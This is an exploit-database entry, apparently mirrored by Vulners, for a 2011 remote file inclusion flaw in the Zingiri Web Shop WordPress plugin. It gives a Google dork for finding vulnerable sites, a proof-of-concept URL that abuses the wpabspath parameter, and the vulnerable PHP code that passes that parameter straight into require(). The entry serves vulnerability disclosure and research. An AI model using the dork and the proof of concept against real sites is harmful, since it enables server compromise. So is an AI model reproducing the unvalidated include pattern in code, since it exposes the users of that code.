Lucene search
K

Wordpress Zingiri Web Shop Plugin 2.2.0 Remote File Inclusion

🗓️ 18 Sep 2011 00:00:00Reported by Ben SchmidtType 
zdt
 zdt
🔗 0day.today👁 45 Views

WordPress Zingiri Web Shop Plugin 2.2.0 Remote File Inclusion vulnerabilit

Code
# Exploit Title: Zingiri Web Shop Wordpress plugin RFI
# Google Dork: inurl:wp-content/plugins/zingiri-web-shop
# Date: 09/19/2011
# Author: Ben Schmidt (supernothing (AT) spareclockcycles.org @_supernothing)
# Software Link: http://wordpress.org/extend/plugins/zingiri-web-shop/download/
# Version: 2.2.0 (tested)
 
---
PoC
---
http://SERVER/WP_PATH/wp-content/plugins/zingiri-web-shop/fws/ajax/init.inc.php?wpabspath=RFI OR /fwkfor/ajax/init.inc.php?wpabspath=RFI
 
---
Vulnerable Code
---
if ($_REQUEST['cms']=='jl') {
    define('ZING_CMS','jl');
    $_REQUEST['tmpl'] = 'component';
    $_REQUEST['option'] = 'com_zingiriwebshop';
    ob_start();
    require($_REQUEST['wpabspath'].'/index.php');
    ob_end_clean();
} elseif ($_REQUEST['cms']=='dp') {
    //all bootstrapping is already done
} else {
    if (!defined('ZING_AJAX') || !ZING_AJAX) {
        /** Loads the WordPress Environment */
        //require($_REQUEST['wpabspath'].'wp-blog-header.php');
        require($_REQUEST['wpabspath'].'wp-load.php');
        /** Load Zingiri Web Shop */
        require(dirname(__FILE__).'/../../zing.readcookie.inc.php');
        require(dirname(__FILE__).'/../../startmodules.inc.php');
    }
}



#  0day.today [2018-02-05]  #

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

18 Sep 2011 00:00Current
7.1High risk
Vulners AI Score7.1
45